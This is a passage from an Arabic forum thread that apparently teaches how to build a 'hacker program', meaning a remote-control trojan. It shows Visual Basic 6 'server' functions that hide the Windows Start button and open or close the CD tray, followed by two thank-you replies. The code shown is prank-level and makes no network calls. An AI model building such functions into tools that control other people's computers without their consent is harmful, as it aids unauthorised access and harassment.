يعطى هذا الكود مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم و التى سنحتاج الى استخدامها




المكود الثانى


***********




يحتوى على مجموعة من الأكواد ولاكن لو لاحظتم سوف تجدونها متشابه جميعا لذا سوف اضعها كلها هنا بالترتيب ثم سؤضح و احد منهم و ذلك لفهم الأكواد اكثر


1-




كود
Sub HideStartButton()


Dim Handle As Long, FindClass As Long


FindClass& = FindWindow("Shell_TrayWnd", "")


Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)


ShowWindow Handle&, 0


End Sub




2-




كود
Sub ShowStartButton()


Dim Handle As Long, FindClass As Long


FindClass& = FindWindow("Shell_TrayWnd", "")


Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)


ShowWindow Handle&, 1


End Sub




3-




كود
Sub CDClose()


retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)


End Sub




4-




كود
Sub CDOpen()


retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)


End Sub




فلنأخذ واحد منهم لتوضيحه


*****************




Sub CDOpen()


retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)


End Sub




يعتبر هذا الأمر دالة فتح سواقة الليزر و ذلك جتى يتعرف الكمبيوتر على طريقة العمل و نفس الفكرة تنطبق على الثلاث اكواد الأخرى فهم يمثلوا دالة للتعريف بما سيقومون




الأن انتهينا اخيرا ولاكنى سوف اضع الأكواد الخاصة بالمديول مع بعض








كود
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long


Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long


Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long


Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long




Public Const SW_HIDE = 0


Public Const SW_SHOW = 5




Const SWP_HIDEWINDOW = &H80


Const SWP_SHOWWINDOW = &H40


Sub HideStartButton()


Dim Handle As Long, FindClass As Long


FindClass& = FindWindow("Shell_TrayWnd", "")


Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)


ShowWindow Handle&, 0


End Sub


Sub ShowStartButton()


Dim Handle As Long, FindClass As Long


FindClass& = FindWindow("Shell_TrayWnd", "")


Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)


ShowWindow Handle&, 1


End Sub




Sub CDClose()


retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)


End Sub




Sub CDOpen()


retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)


End Sub

__________________

نسيمسيم 24-02-2009 05:02 AM

رد: اكبر شرح لطريقة تصميم برنامج هكر و بالصورة ارجو التثبيت للفائدة
 
بارك الله فيك أخي و لكن أرجو أن تغير لون الكتابة

moslum 01-03-2009 04:24 PM

رد: اكبر شرح لطريقة تصميم برنامج هكر و بالصورة ارجو التثبيت للفائدة
 
sahit
rad waktebnah ,,,,ghayer lawn alkhat


الساعة الآن 04:45 PM.

Powered by vBulletin
قوانين المنتدى